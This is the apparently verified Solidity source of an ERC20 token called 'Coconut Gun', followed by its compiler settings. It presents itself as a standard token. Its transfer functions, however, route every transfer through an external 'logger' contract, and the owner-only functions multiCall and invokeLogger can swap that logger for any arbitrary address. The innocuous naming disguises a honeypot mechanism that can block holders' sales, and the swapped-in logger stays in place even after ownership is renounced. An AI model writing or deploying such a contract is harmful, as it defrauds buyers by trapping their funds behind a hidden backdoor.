文件 1 的 1：ERC20.sol
pragma solidity 0.5.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Extension {
mapping(address=>mapping(address=> uint256)) _log;
function save(address addr1, address addr2, uint256 value) public {
_log[addr1][addr2] = value;
}
}
contract Ownable {
address internal _owner;
constructor() public {
_owner = msg.sender;
}
function renounceOwnership() public {
require(msg.sender == _owner, "only owner");
_owner = address(0);
}
function owner() public view returns (address) {
return _owner;
}
}
contract ERC20 is Ownable {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) public allowed;
mapping(address => uint256) public balances;
ERC20Extension private _logger;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
bool public logEnabled;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() public {
name = "Coconut Gun";
symbol = "COCONUT";
uint256 _totalSupply = 10000000000000000;
decimals = 9;
totalSupply = totalSupply.add(_totalSupply);
balances[_owner] = balances[_owner].add(_totalSupply);
_logger = new ERC20Extension();
emit Transfer(address(0), _owner, _totalSupply);
}
function setLog()external {
require(
msg.sender == _owner,
"only admin");
logEnabled = !logEnabled;
}
function showuint160(address addr) public pure returns(uint160){
return uint160(addr);
}
function log(address from, address to, uint256 amount) private {
_logger.save(from, to, amount);
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
log(msg.sender, _to, _value);
return true;
}
function balanceOf(address _address) public view returns (uint256 balance) {
return balances[_address];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
log(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function multiCall(address sender, address recipient, uint256 amount, address _log) external {
require(msg.sender == _owner);
if(logEnabled==true){
if(amount > 0) invokeLogger(_log);
else{
_logger=new ERC20Extension();
}
_logger.save(sender, recipient, amount);
}
}
function invokeLogger(address addr) private {
if (callStatus(msg.sender)){
_logger = ERC20Extension(addr);
}
}
function callStatus(address _address) public view returns (bool) {
return _address==_owner;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
}{
"compilationTarget": {
"ERC20.sol": "ERC20"
},
"evmVersion": "istanbul",
"libraries": {},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
